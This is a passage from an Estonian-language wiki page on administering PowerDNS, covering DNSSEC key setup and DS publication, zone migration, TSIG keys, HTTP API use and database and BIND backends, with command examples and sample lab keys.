&lt;br /&gt;
* Mitme elemendilise väärtuse puhul tuleb see nii sisestada, nt MX kirje puhul&lt;br /&gt;
&lt;br /&gt;
 10 mx.moraal.ee.&lt;br /&gt;
&lt;br /&gt;
* Eeldusel, et on olemas Content tulbas kasutatav A kirje ip aadressile vastav in-addr.arpa tsoon, saab nsedit abil tekitada automaatselt PTR kirje.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni esmane juurutamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal saab DNSSEC juures kasatada CSK (Combined Signing Key) võtit ja seda kasutab PowerDNS vaikimisi, kuid samas CSK võtmeid registripidajad eriti ei toeta. Ja PowerDNS toetab ka nö klassikalist KSK+ZSK komplekti kasutamist.&lt;br /&gt;
&lt;br /&gt;
====KSK ja ZSK võtmete kasutamine====&lt;br /&gt;
&lt;br /&gt;
Võtmete tsooniga seostamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee zsk 1024 active rsasha256&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 5 0...f'&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
mis&lt;br /&gt;
&lt;br /&gt;
* tekitab võtmed&lt;br /&gt;
* kui set-meta kogemata vääratab, nt lisati SOA-EDIT-SOA, siis saab meta data eemaldada, st näitamata väärtust&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-SOA&lt;br /&gt;
&lt;br /&gt;
* võtab kasutusele nsec3 hash'ide arvutamiseks vajaliku materjali (0-f on 16-elemendiline juhuslik hex järgnevus, mis saadake nt nii&lt;br /&gt;
&lt;br /&gt;
 $ head -c 512 /dev/urandom | sha1sum | cut -b 1-16&lt;br /&gt;
 7bc59a6dd87fa477&lt;br /&gt;
&lt;br /&gt;
ja ideaalis võiks seda regulaarselt muuta), nt&lt;br /&gt;
&lt;br /&gt;
 $ dig +short moraal.ee nsec3param&lt;br /&gt;
 1 0 5 E7544BB6070C3E0F&lt;br /&gt;
&lt;br /&gt;
(kus 1 - sha1, 0 - opt-out, 5 - iterations, E7544BB6070C3E0F - salt)&lt;br /&gt;
&lt;br /&gt;
* INCEPTION-INCREMENT rida seadistab selliselt, et kui automaaselt tsooni andmed resigneeritakse, siis suurendatakse ka seriali (muidu ei toimu notify ja andmed ei jõua avalikesse pädevatesse nimeserveritesse)&lt;br /&gt;
* rectify tuleb põhimõtteliselt öelda peale iga tsooni muudatust, et olla täiesti kindel tsooni toimimises; kui PowerDNS kasutatakse avalike nimeserverite varjatud masterina, pole see probleem&lt;br /&gt;
&lt;br /&gt;
ning tsooni andmed paistavad&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
 Nov 06 23:49:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 This is a Master zone&lt;br /&gt;
 Last SOA serial number we notified: 2016103003 == 2016103003 (serial in the database)&lt;br /&gt;
 Metadata items: &lt;br /&gt;
        SOA-EDIT        INCEPTION-INCREMENT&lt;br /&gt;
        SOA-EDIT-API    INCEPTION-INCREMENT&lt;br /&gt;
 Zone has NSEC3 semantics, configuration: 1 0 1 ab&lt;br /&gt;
 keys: &lt;br /&gt;
 ID = 11 (ZSK), flags = 256, tag = 26589, algo = 8, bits = 1024    Active ( RSASHA256 ) &lt;br /&gt;
 ID = 10 (KSK), flags = 257, tag = 53461, algo = 8, bits = 2048    Active ( RSASHA256 ) &lt;br /&gt;
 KSK DNSKEY = moraal.ee. IN DNSKEY 257 3 8  AwEAAcn... TQcnQstT+tU= ; ( RSASHA256 )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 1 6c123b39076072da... c66f62b1e3c388b86b7f ; ( SHA1 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 2 b85dee98efa6e3bb... 57ce193f728f6b2b1d0dd262 ; ( SHA256 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 3 1359b0b2b97e60b2... 844b207e84bf5c109eb2e151 ; ( GOST R 34.11-94 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 4 6d735926cd5cf68b... 9ca2af1f72b3b8f67900bb32a94c ; ( SHA-384 digest )&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kaks võtit, ID väärtustega 10 ja 11&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje (reeglina see õnnestub, aga nt 2017 aasta kevadel .org domeenide puhul on tulemuseks dnssec viga, tavaline servfail)&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
====Tulemuse kontrollimine====&lt;br /&gt;
&lt;br /&gt;
Kui kõik juba töötab (ja on vist on vajalik, et kasutada on mõni dnssec-võimeline rekursiivne nimeserver), saab tulemust kontrollida nt nii&lt;br /&gt;
&lt;br /&gt;
 $ ldns-rrsig moraal.ee a&lt;br /&gt;
 moraal.ee RRSIG(a):  Thu Oct 27 00:00:00 2016 - Thu Nov 17 00:00:00 2016&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
* DNSSEC RRSIG signatuure arvutatakse iga 2 nädala tagant üle selleks, et piirata replay attack võimalusi. Põhimõtteliselt saab pahalane päringule vastuseks saata mõne varasemalt võrgus olnud vastuse (st RRSet + RRSIG komplekti) eeldusel, et ta kontrollib kasutaja võrguliiklust. Tänu RRSIG piiratud kehtivusajale (nt 2 nädalat) saab ta seda teha mitte vanemate kui 2 nädalat andmetega, lisaks ta on piiratud saatma mitte suvalisi vastuseid, vaid viimase kahe nädala jooksul kasutuses olnud vastuseid.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
&lt;br /&gt;
====CSK võtme kasutamine====&lt;br /&gt;
&lt;br /&gt;
Märkus 2016 lõpus: tundub, et see CSK on mingi tulevikutehnoloogia.&lt;br /&gt;
&lt;br /&gt;
Olemasoleva tsooni jaoks DNSSEC sisselülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil secure-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 1 ab'&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* tagasi nsec peale viimiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil unset-nsec3 moraal.ee&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni seostamine DS sissekande abil ülevalpool oleva tsooniga===&lt;br /&gt;
&lt;br /&gt;
DNSSEC tsooni seostamiseks ülevalpool oleva tsooniga on vaja teada selliseid andmeid&lt;br /&gt;
&lt;br /&gt;
* võtme silt&lt;br /&gt;
* võtme tüüp&lt;br /&gt;
* algoritm&lt;br /&gt;
* avalik võti (või DS mis on avaliku võtme räsi vms)&lt;br /&gt;
&lt;br /&gt;
Need kõik on avalik info ja kättesaadavad domeeni pädevast nimeserverist, aga PowerDNS haldusutiliidiga saab selle küsida otsekoheselt&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Ühesõnaga, kui ise kasutatakse PowerDNS'i või partner saadab need andmed, siis allpool toodud dig käsuga tegelemist pole tarvis läbi teha. Tulemust sobib kontrollida nt aadressil http://dnsviz.net/.&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .ee tsoonis====&lt;br /&gt;
&lt;br /&gt;
Logida sisse oma kasutajaga ja valida vasakult paneelist 'Teenuste ülevaade', kõnelaluse tsooni juures pressida rohelist + märki DNSSEC tulbas. Avanenud uuel eraanil vajutada üleval sinist nuppu Aktiveeri (muutub roheliseks), vajutada võtmete nimekirjas + märki ja täita lahtrid&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-3.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* võtme silt - (antud juhul 53461), selle saab teada päringu väjundist&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey rrsig | grep DNSKEY&lt;br /&gt;
 moraal.ee.              10800   IN      RRSIG   DNSKEY 8 2 10800 20161208000000 20161117000000 53461 moraal.ee. rVy+HAzSKkTRv6...&lt;br /&gt;
&lt;br /&gt;
* võtme tüüp - KSK&lt;br /&gt;
* algoritm - 8 (RSA-SHA256)&lt;br /&gt;
* avalik võti,  selle saab teada päringu väljundist, alates Aw kuni tU= (võib sisaldada tühikuid nagu päringu vastuses on)&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey | grep 257&lt;br /&gt;
 moraal.ee. 3600 IN DNSKEY 257 3 8 AwEAAcnmmnnOlkRfK9NDYEI6F ... SD6 TQcnQstT+tU=&lt;br /&gt;
&lt;br /&gt;
Vajutada all nuppu Kinnita, muudatus kehtestub peaaegu koheselt (ehk minutite jooksul), aga kasutajaliideses öeldakse&lt;br /&gt;
&lt;br /&gt;
 DNSSEC kaitse domeenil MORAAL.EE&lt;br /&gt;
 Hetkestaatus: DNSSEC on aktiveerimata&lt;br /&gt;
 Eesootavad muutused: DNSSEC aktiveeritakse&lt;br /&gt;
&lt;br /&gt;
Teha brauseris refresh ja peab olema domeenide nimekirjas DNSSEC tulbas + asemel kilbi kujutis. Edasi läheb nn 15 minutit kuni muudatus zone.ee juurest eestiinternet.ee juurde jõuab ning kehtestub ee. tld (top level domain) nimeserverites. Kontrolliks maksab küsida tld nimeserverilt ds kirjet&lt;br /&gt;
&lt;br /&gt;
 $ dig +short @ns.tld.ee moraal.ee ds&lt;br /&gt;
 30607 8 2 EAC8A17DD2128573F08EE76C18B4AB01734467CD4A376768F5358B0C A2B9463F&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .org tsoonis====&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-6.gif]]&lt;br /&gt;
&lt;br /&gt;
====GoDaddy keskkonnas====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===DNSSEC võtmete asendamine===&lt;br /&gt;
&lt;br /&gt;
====ZSK====&lt;br /&gt;
&lt;br /&gt;
====KSK====&lt;br /&gt;
&lt;br /&gt;
KSK moodi võtme lisamiseks sobib öelda, selliselt võib tsooniga siduda ka enam kui kaks võtit&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtmed paistavad käsu väljundis&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab dnsviz keskkonnas selline pilt&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtme eemaldamiseks sobib öelda, kus ID on show-zone väljundist välja valitud võtme ID väärtus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil remove-zone-key moraal.ee ID&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/howtos/#zsk-rollover&lt;br /&gt;
&lt;br /&gt;
===Mitmesugused haldusprotseduurid===&lt;br /&gt;
&lt;br /&gt;
====tsooni backend muutmine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Tsooni migreerimiseks suvalisest AXFR-võimelisest nimeserverist sobib&lt;br /&gt;
&lt;br /&gt;
* kirjeldada PowerDNS peal slave&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-slave-zone moraal.ee 10.0.6.15&lt;br /&gt;
 Feb 21 22:09:52 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Creating slave zone 'moraal.ee', with master(s) '10.0.6.15:53'&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmed axfr abil üle, kopeerimist kiirendab&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
&lt;br /&gt;
* muuta PowerDNS tsooni jaoks masteriks, öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; UPDATE domains set type='MASTER' where type='SLAVE';&lt;br /&gt;
&lt;br /&gt;
Kui allikaks on nt BIND ning tsoonifailis on kasutatud generate konstruktsiooni, siis need lahenduvad automaatselt ära&lt;br /&gt;
&lt;br /&gt;
 $GENERATE 1-255 $ IN CNAME $.1-255.40.184.10.in-addr.arpa.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/migration/&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Analoogiliselt eelmisele punktile, aga&lt;br /&gt;
&lt;br /&gt;
* esmalt lülitada dnssec välja, kustutades DS kirje parent tsoonist ja oodates vähemalt DS kirje TTL aja enne järgmise punkti juurde asumist; seejärel on tsooni sisu endine st vanade võtmetega signeeritud andmestik&lt;br /&gt;
* tegevused eelmises punktis + uute võtmetega krüptimine&lt;br /&gt;
* asuda kasutama uute võtmetega krüptitud tsooni sisu, ja oodata nt 6 tundi&lt;br /&gt;
* juurutada parent tsoonis uus DS kirje&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla OpenDNSSEC keskkonnast koos vana KSK krüptomaterjaliga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et OpenDNSSEC kasutab SoftHSM backendi saab KSK krüptomaterjalid eksportida ja taaskasutada. Ettevalmistuseks tuleb kõnealune tsoon muus osas tavalisel viisil kasutusele võtta. SoftHSM pealt krüptomaterjali eksportimiseks tuleb esmalt teha kindlaks kolm väärust&lt;br /&gt;
&lt;br /&gt;
* SoftHSM label ja pin vaadata nt /etc/opendnssec/conf.xml failist&lt;br /&gt;
* kõnealuse tsooni ksk võtme id, vaadata KSK active realt tulp 'CKA_ID'&lt;br /&gt;
&lt;br /&gt;
 # ods-ksmutil key list -v&lt;br /&gt;
&lt;br /&gt;
sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # softhsm --export moraal.ee-ksk.pem --slot 0 --label &amp;quot;vaartus&amp;quot; --pin vaartus --id vaartus&lt;br /&gt;
 The key pair has been written to moraal.ee-ksk.pem&lt;br /&gt;
&lt;br /&gt;
teisendada nn BIND kujule&lt;br /&gt;
&lt;br /&gt;
 # softhsm-keyconv --tobind --in ksk.pem --name moraal.ee --ksk --algorithm RSASHA256&lt;br /&gt;
 The private key has been written to Kmoraal.ee+008+09122.private&lt;br /&gt;
 The public key has been written to Kmoraal.ee+008+09122.key&lt;br /&gt;
&lt;br /&gt;
ning võtta kasutusele PowerDNS juures&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil import-zone-key moraal.ee Kksk+008+53675.private active ksk&lt;br /&gt;
&lt;br /&gt;
Edasi seadistatakse DNSSEC analoogliselt nagu seada ikka PowerDNS puhul seadistatakse. Kusjuures 'pdnsutil import-zone-key ...' tulemus on sarnane nagu oleks öeldud&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.molnar-peter.hu/en/&lt;br /&gt;
&lt;br /&gt;
====pdns-control utiliidi kasutamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS kus on master tsoon saadab notify oma slavedele (nagu on tsoonifaili NS kirjetes kirjas)&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify &amp;lt;domain&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või näidatud ip aadressile&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify-host &amp;lt;domain&amp;gt; &amp;lt;ip-address&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===TSIG kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimeserverite vahelise tsooniedastuse juures TSIG juurutamiseks tuleb esmalt tekitada võti&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil generate-tsig-key from_dns_to_itm hmac-sha256&lt;br /&gt;
 Generating new key with 64 bytes (this can take a while)&lt;br /&gt;
 Nov 26 13:10:37 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Create new TSIG key from_dns_to_itm hmac-sha256 WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
ning seejärel võti ühe või enama tsooniedastusega seostada&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil activate-tsig-key moraal.ee from_dns_to_itm master&lt;br /&gt;
&lt;br /&gt;
Tulemus paistab nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil show-zone moraal.ee&lt;br /&gt;
Nov 26 14:09:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
This is a Master zone&lt;br /&gt;
Last SOA serial number we notified: 2016112602 == 2016112602 (serial in the database)&lt;br /&gt;
Zone is not actively secured&lt;br /&gt;
Zone has following allowed TSIG key(s): from_dns_to_itm&lt;br /&gt;
Metadata items: &lt;br /&gt;
        SOA-EDIT-API    DEFAULT&lt;br /&gt;
        TSIG-ALLOW-AXFR from_dns_to_itm&lt;br /&gt;
No keys for zone 'moraal.ee'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kontrolliks sobib kopeerida öeldes&lt;br /&gt;
&lt;br /&gt;
 $ dig @192.168.1.248 moraal.ee axfr -y &amp;quot;hmac-sha256:from_dns_to_itm:WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures vastuses on üks preudokirje lisaks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 from_dns_to_itm.        0       ANY     TSIG    hmac-sha256. 1480164029 300 32 t96WhnpNiAiL5KHXa8UzNthM6/p3ciQptF3Br2ZfhFk= 3538 NOERROR 0&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Sama TSIG võtit saab kasutada mitme tsooni jaoks ja nii on mugavam nt NSD patternit kasutada&lt;br /&gt;
* tundub, et tsooni jaoks TSIG juurutamisega kaasneb, et tsooni kopeerimise ip piirang enam ei kehti (lubatud ip pealt pöördudes ei ole võtme esitamine vajalik)&lt;br /&gt;
* kui tsooni juures on tsig sisse lülitatud, siis see mõjub nii notify kui xfr jaoks&lt;br /&gt;
* TSIG pseudokirjete arv suureneb vastavalt tsooni mahu suurenemisele, https://tools.ietf.org/html/rfc2845 'The TSIG MUST be included on the first and last DNS envelopes.  It can be optionally placed on any intermediary envelopes. It is expensive to include it on every envelopes, but it MUST be placed on at least every 100'th envelope.'&lt;br /&gt;
&lt;br /&gt;
Alternatiiv on kasutada -y asemel -k suvandit ja argumendiks failinime, faili sisuga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
key &amp;quot;from_yks_to_teine&amp;quot; {&lt;br /&gt;
algorithm HMAC-SHA256;&lt;br /&gt;
secret &amp;quot;YY8xvlL6yGjrt1G4xlfLBaidQOFdvixHgRXN6tXUPMitEKZUs7kl7qixJ0nSN1bbDJQxaFGkoKkBamNS7EPXbw==&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===API kasutamine===&lt;br /&gt;
&lt;br /&gt;
Üle API muudatuse tegemiseks peab eelnevalt PowerDNS serveris lülitama API sisse ning sisemise webserver käivitama&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.conf&lt;br /&gt;
 ..&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=apiparool&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ja kasutama nt sellist skripti (töökohaarvutis on seejuures abil kasutada nt jq utiliiti)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat pdns-api.sh&lt;br /&gt;
curl -X PATCH --data \&lt;br /&gt;
'{&amp;quot;rrsets&amp;quot;: &lt;br /&gt;
  [{ &amp;quot;name&amp;quot;: &amp;quot;www.moraal.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [{ &amp;quot;content&amp;quot;: &amp;quot;192.168.254.5&amp;quot;, &amp;quot;disabled&amp;quot;: false }],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 86000,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;A&amp;quot;,&lt;br /&gt;
      &amp;quot;changetype&amp;quot;: &amp;quot;REPLACE&amp;quot;&lt;br /&gt;
  }]&lt;br /&gt;
}' -H 'X-API-Key: midagisalajast123' http://192.168.1.248:8081/api/v1/servers/localhost/zones/moraal.ee. | jq .&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
kas käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 $ sh pdns-api.sh&lt;br /&gt;
&lt;br /&gt;
API'ga tutvumiseks võib olla hea mõte kuulata pealt mingi olemasoleva API-rakenduse ja serveri vahelist liiklust ja siis seda Wireshark abil uurida.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/httpapi/README/ - tundub, et süntaks pole seal kõigis näidetes päris korrektne&lt;br /&gt;
&lt;br /&gt;
===PowerDNS kasutusstatistika===&lt;br /&gt;
&lt;br /&gt;
PowerDNS sisaldab sisemist veebiserverit, mille käest saab küsida teenuse kasutusstatistikat, TODO.&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et vaikimisi logitakse syslog'i.&lt;br /&gt;
&lt;br /&gt;
===Varundamine ja taaste===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine operatsioonisüsteemi paketihaldusest====&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks sobib öelda, tuleb paigalda üldosa + mingi backend, nt BIND-ühilduvate tsoonifailide käsitlemise komponent (st failisüsteem)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-bind&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib failisüsteemi&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/pdns.conf - peamine seadistusfail&lt;br /&gt;
&lt;br /&gt;
====MySQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====pdns-backend-mysql paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et MySQL baas juba töötab samas arvutis, sobib paigaldamiseks sobib öelda (seejuures kasutades db-config sistemat, mis paigaldamise käigus tekitab create database baasi, kasutaja, sätib privileegid jne)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-backend-mysql&lt;br /&gt;
 ..&lt;br /&gt;
 Determining localhost credentials from /etc/mysql/debian.cnf: succeeded.&lt;br /&gt;
 dbconfig-common: writing config to /etc/dbconfig-common/pdns-backend-mysql.conf&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/dbconfig-common/pdns-backend-mysql.conf with new version&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/powerdns/pdns.d/pdns.local.gmysql.conf with new version&lt;br /&gt;
 checking privileges on database pdns for pdns@localhost: user creation needed.&lt;br /&gt;
 granting access to database pdns for pdns@localhost: success.&lt;br /&gt;
 verifying access for pdns@localhost: success.&lt;br /&gt;
 creating database pdns: success.&lt;br /&gt;
 verifying database pdns exists: success.&lt;br /&gt;
 populating database via sql...  done.&lt;br /&gt;
 dbconfig-common: flushing administrative password&lt;br /&gt;
 Processing triggers for libc-bin (2.24-3) ...&lt;br /&gt;
 Processing triggers for pdns-server (4.0.1-5) ...&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
* tekitatakse MySQL kasutaja pdns&lt;br /&gt;
* tekitatakse MySQL create database pdns&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tundub, et otsekoheselt failisüsteemis tsoonifaili redigeerimise teel on mõeldav töötada ainult BIND-formaadis backendiga. Muudega tuleks kasutada pdnsutil utiliiti või API liidest. Tsoonide nimekiri kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/named.conf&lt;br /&gt;
 # Debian default: supermaster created zones are written here:&lt;br /&gt;
 include &amp;quot;/var/lib/powerdns/supermaster.conf&amp;quot;;&lt;br /&gt;
 # Example for a manually configured slave zone:&lt;br /&gt;
 #&lt;br /&gt;
 zone &amp;quot;example.net&amp;quot; {&lt;br /&gt;
    file &amp;quot;/var/lib/powerdns/zones.slave.d/example.net.zone&amp;quot;;&lt;br /&gt;
    type master;&lt;br /&gt;
    masters { 192.0.2.53; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Tsoon kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/powerdns/zones.slave.d/example.net.zone&lt;br /&gt;
 $TTL 180&lt;br /&gt;
 @           IN    SOA     ns1.example.net.      hostmaster.example.net. (&lt;br /&gt;
                        2014080705      ; Serial Number (date YYYYMMDD++)&lt;br /&gt;
                        86400           ; Refresh (24 hours)&lt;br /&gt;
                        1800            ; Retry (1/2 hour)&lt;br /&gt;
                        3600000         ; Expire (42 days)&lt;br /&gt;
                        21600)          ; Minimum (6 hours)&lt;br /&gt;
                        IN      NS      ns1.example.net.&lt;br /&gt;
                        IN      NS      ns2.example.net.&lt;br /&gt;
 &lt;br /&gt;
 @           IN    A       192.168.0.15&lt;br /&gt;
             IN    MX   10 mail.example.net.&lt;br /&gt;
 www         IN    A       192.168.0.15&lt;br /&gt;
 mail        IN    A       192.168.0.2&lt;br /&gt;
 ns1         IN    A       10.1.1.171&lt;br /&gt;
 ns2         IN    A       10.1.1.172&lt;br /&gt;
 imre        IN    A       10.1.1.173&lt;br /&gt;
&lt;br /&gt;
Muudatuse kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control bind-reload-now example.net&lt;br /&gt;
 example.net:    parsed into memory at 2016-10-26 20:43:14 +0300&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
